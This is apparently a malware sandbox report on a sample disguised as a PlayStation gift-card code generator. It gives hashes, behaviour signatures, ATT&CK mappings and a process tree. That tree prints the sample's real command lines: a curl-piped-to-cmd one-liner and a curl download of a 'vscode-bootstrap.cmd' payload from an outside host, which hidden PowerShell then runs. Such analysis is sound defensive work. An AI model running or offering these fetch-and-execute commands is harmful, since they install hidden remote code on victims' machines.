7158ddcc130f38473f0f553f5649a9994678acc82c4dacf35c4f2eda501ad204

Resubmissions

09/08/2026, 03:53

260809-efybhsgr8t3

09/08/2026, 03:46

260809-ebxjestsb18

Analysis

max time kernel
118s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 03:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PSN_GiftCard_Code_Generator_and_Checker_V2.exe
Size 2.3MB
Sample260809-ebxjestsb1
SHA256 7158ddcc130f38473f0f553f5649a9994678acc82c4dacf35c4f2eda501ad204
MD5 5d584bed5afe52530b5460e5ee53c905
SHA1 1c9189c043da0ce6c207403cc8ebb233a1e4455d
SHA512 3006a8366dfc84eded5ac64d4b4bd5ef7ae80c6f0116724761ccdf6b05558bfc77e3af984556839b8be2d5ee82ff24c3c4b7d8ba413a3962207a2553b7a8c188
SSDEEP 49152:zulH8Vi+zEok6pE03pHG2pN3/Rc2eYIU6i:z5ic9Nzc3n+
TLSH
T14BB57D03FA9285E8C0DDC07883579732AB36F88D4A20B7DB2FD44A112E66F605F9D759
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	3332	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5864	powershell.exe
3332	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3384	cmd.exe
2388	cmd.exe
2532	cmd.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1856	PSN_GiftCard_Code_Generator_and_Checker_V2.exe
1856	PSN_GiftCard_Code_Generator_and_Checker_V2.exe
5864	powershell.exe
5864	powershell.exe
3332	powershell.exe
3332	powershell.exe
3332	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5864	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 3384	1856	PSN_GiftCard_Code_Generator_and_Checker_V2.exe	90
PID 3384 wrote to memory of 5996	3384	cmd.exe	92
PID 3384 wrote to memory of 4260	3384	cmd.exe	93
PID 4260 wrote to memory of 296	4260	cmd.exe	94
PID 4260 wrote to memory of 5864	4260	cmd.exe	95
PID 5864 wrote to memory of 2388	5864	powershell.exe	96
PID 2388 wrote to memory of 2532	2388	cmd.exe	98
PID 2532 wrote to memory of 3332	2532	cmd.exe	99
PID 2388 wrote to memory of 6108	2388	cmd.exe	100
PID 2388 wrote to memory of 2372	2388	cmd.exe	101
PID 2388 wrote to memory of 476	2388	cmd.exe	102

cURL User-Agent 3 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	9	curl/8.8.0
HTTP User-Agent header	12	curl/8.8.0
HTTP User-Agent header	3	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\PSN_GiftCard_Code_Generator_and_Checker_V2.exe
"C:\Users\Admin\AppData\Local\Temp\PSN_GiftCard_Code_Generator_and_Checker_V2.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c "curl https://fujiarte.com/.well-known/acme-challenge/settings.php?win=13....VU5Rd09ETzw8VVZ6VWVpUlxPalBPUFV2VUtUWnN9WVdOaDIxemU0SjY2NjRLZTs4STc0NDdpaEREaGo5N0Y6NzY2NERHZzg2ZDc7MTowdlNJVzZsb2w4ZWVfODRIRVpueXRHUHFnZzZHWGhuc156VzBIO04ze1loSTpsSF9OY3c1eEdTVGxmMnI2XldJNjZ8SW5sMHV3NXh1dXJnNjo5PGc2cXh2OnQ6b3k1YzNob3d5ezlsZ3twZX12dH00ci5kZjV2NjZ9OT15cG1wfnFlZ31zYmppNjx1NThle2Vnczo%2BeXdkNnhpZnYxcXVlNHU8cnp9Njd6OnZqfTV5N35sbzR8cH1vOjV9OnJwc3l9Zng8OmtteDBlaWV0NHV9YjR5Nzhvdm9yO3VuPHZ5dm1uN2gzdWR1PHZ1bm5wODRzZ3t7bXM8b3c3c2lwNmp8Nmh5MjM5OjFwO3Q6dHtvbnJiNzY5a2k0OGpxOXxrZ3Fyanp3ZnJpZDR4Nm1uNG9uL0pIR0pcSFJRVktMWk03SF1JXkZMNUVZTE1cW11MU1ZWOFlTTEhcW0NINzxON0pTU0VIXF1LS0s2MUtVRjdKbUQ6ZEhzMjM5N2hUeFVSRmhkUXNGcVRle0xDdUVbPXJ8T2ZeelNHMT00TzZoR0ZqNE5RVk9LbHNLcFo7b3NSNW5tUzhKWnpXZEVHe3tqUDxzV1tVUFBPc05eaXFjVTlaZXF3al1iRjxQWmpYZkV%2BODV0SGZmRTRpNnl0aHo9RGxOW184U3hz | cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\system32\curl.exe
    curl https://fujiarte.com/.well-known/acme-challenge/settings.php?win=13....VU5Rd09ETzw8VVZ6VWVpUlxPalBPUFV2VUtUWnN9WVdOaDIxemU0SjY2NjRLZTs4STc0NDdpaEREaGo5N0Y6NzY2NERHZzg2ZDc7MTowdlNJVzZsb2w4ZWVfODRIRVpueXRHUHFnZzZHWGhuc156VzBIO04ze1loSTpsSF9OY3c1eEdTVGxmMnI2XldJNjZ8SW5sMHV3NXh1dXJnNjo5PGc2cXh2OnQ6b3k1YzNob3d5ezlsZ3twZX12dH00ci5kZjV2NjZ9OT15cG1wfnFlZ31zYmppNjx1NThle2Vnczo%2BeXdkNnhpZnYxcXVlNHU8cnp9Njd6OnZqfTV5N35sbzR8cH1vOjV9OnJwc3l9Zng8OmtteDBlaWV0NHV9YjR5Nzhvdm9yO3VuPHZ5dm1uN2gzdWR1PHZ1bm5wODRzZ3t7bXM8b3c3c2lwNmp8Nmh5MjM5OjFwO3Q6dHtvbnJiNzY5a2k0OGpxOXxrZ3Fyanp3ZnJpZDR4Nm1uNG9uL0pIR0pcSFJRVktMWk03SF1JXkZMNUVZTE1cW11MU1ZWOFlTTEhcW0NINzxON0pTU0VIXF1LS0s2MUtVRjdKbUQ6ZEhzMjM5N2hUeFVSRmhkUXNGcVRle0xDdUVbPXJ8T2ZeelNHMT00TzZoR0ZqNE5RVk9LbHNLcFo7b3NSNW5tUzhKWnpXZEVHe3tqUDxzV1tVUFBPc05eaXFjVTlaZXF3al1iRjxQWmpYZkV%2BODV0SGZmRTRpNnl0aHo9RGxOW184U3hz
    3⤵
    PID:5996
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\curl.exe
      curl -s -L -o "C:\Users\Admin\.vscode\vscode-bootstrap.cmd" "https://fujiarte.com/.well-known/acme-challenge/bootstrap.php?win=13....VU5Rd09ETzw8VVZ6VWVpUlxPalBPUFV2VUtUWnN9WVdOaDIxemU0SjY2NjRLZTs4STc0NDdpaEREaGo5N0Y6NzY2NERHZzg2ZDc7MTowdlNJVzZsb2w4ZWVfODRIRVpueXRHUHFnZzZHWGhuc156VzBIO04ze1loSTpsSF9OY3c1eEdTVGxmMnI2XldJNjZ8SW5sMHV3NXh1dXJnNjo5PGc2cXh2OnQ6b3k1YzNob3d5ezlsZ3twZX12dH00ci5kZjV2NjZ9OT15cG1wfnFlZ31zYmppNjx1NThle2Vnczo%2BeXdkNnhpZnYxcXVlNHU8cnp9Njd6OnZqfTV5N35sbzR8cH1vOjV9OnJwc3l9Zng8OmtteDBlaWV0NHV9YjR5Nzhvdm9yO3VuPHZ5dm1uN2gzdWR1PHZ1bm5wODRzZ3t7bXM8b3c3c2lwNmp8Nmh5MjM5OjFwO3Q6dHtvbnJiNzY5a2k0OGpxOXxrZ3Fyanp3ZnJpZDR4Nm1uNG9uL0pIR0pcSFJRVktMWk03SF1JXkZMNUVZTE1cW11MU1ZWOFlTTEhcW0NINzxON0pTU0VIXF1LS0s2MUtVRjdKbUQ6ZEhzMjM5N2hUeFVSRmhkUXNGcVRle0xDdUVbPXJ8T2ZeelNHMT00TzZoR0ZqNE5RVk9LbHNLcFo7b3NSNW5tUzhKWnpXZEVHe3tqUDxzV1tVUFBPc05eaXFjVTlaZXF3al1iRjxQWmpYZkV%2BODV0SGZmRTRpNnl0aHo9RGxOW184U3hz"
      4⤵
      PID:296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c \"C:\Users\Admin\.vscode\vscode-bootstrap.cmd\" _restarted' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5864
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\.vscode\vscode-bootstrap.cmd" _restarted
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2388
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod https://nodejs.org/dist/index.json)[0].version"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(Invoke-RestMethod https://nodejs.org/dist/index.json)[0].version"
        7⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3332
      - C:\Windows\system32\where.exe
        
        where node
        6⤵
        
        PID:6108
      - C:\Windows\system32\where.exe
        
        where curl
        6⤵
        
        PID:2372
      - C:\Windows\system32\curl.exe
        
        curl -s -L -o "C:\Users\Admin\.vscode\node-v26.7.0-x64.msi" "https://nodejs.org/dist/v26.7.0/node-v26.7.0-x64.msi"
        6⤵
        
        PID:476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

vscode-bootstrap.cmd

Path C:\Users\Admin\.vscode\vscode-bootstrap.cmd
Size 15KB
SHA256 f48aa3e57db0f929ea40f6e3dc8d29841bfd578996c4ebaf3d552f5916df7862
MD5 5ff77d70523729ae6c519c441af6fb2c
SHA1 b462099a3feb73c932d6a4e149f9d03eb0b698b1
SHA512 24295248f5f518143752166755b8cbe6acaf895b312b29843af4ae3387f766034503bb7d14b8510e8e32706e6acfa873f240285a6f4a232655205dc3703d44d6
SSDEEP 384:/lw+iN/p+kE2db4hL9kRxptqWXRbDz8ymrnnumHuCP:dwqH2qhsxptqWXRbDYymrnumH/P
TLSH
T1E6625C10AD49359FD778CC796CC6328AF18E588BAE24328BB54FD1391774BA7037C096
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
MD5 9db254dd0cf5e2b1153ff5cde0ed8885
SHA1 de97945a57babdd2498693fbb2b3d8bc548da209
SHA512 a86e71b1b09215d626067d2fab0d7111a5718937c4097b826e77402d32aa3bf64d73a8886104f7b0ae434dcafb9abab4d04d2c053cb65510d611c069d04f7011
TLSH
T19A115733B3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F59ADE61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3332-24-0x0000012A7BEB0000-0x0000012A7BF51000-memory.dmp

Download

memory/3332-22-0x0000012A7C780000-0x0000012A7CCA8000-memory.dmp

Download

memory/3332-21-0x0000012A7C080000-0x0000012A7C242000-memory.dmp

Download

memory/5864-9-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-11-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-12-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-13-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-14-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-15-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-17-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-10-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-8-0x000001BCACB90000-0x000001BCACBB2000-memory.dmp

Download

memory/5864-7-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/5864-4-0x00007FFDF3EFF000-0x00007FFDF3F00000-memory.dmp

Download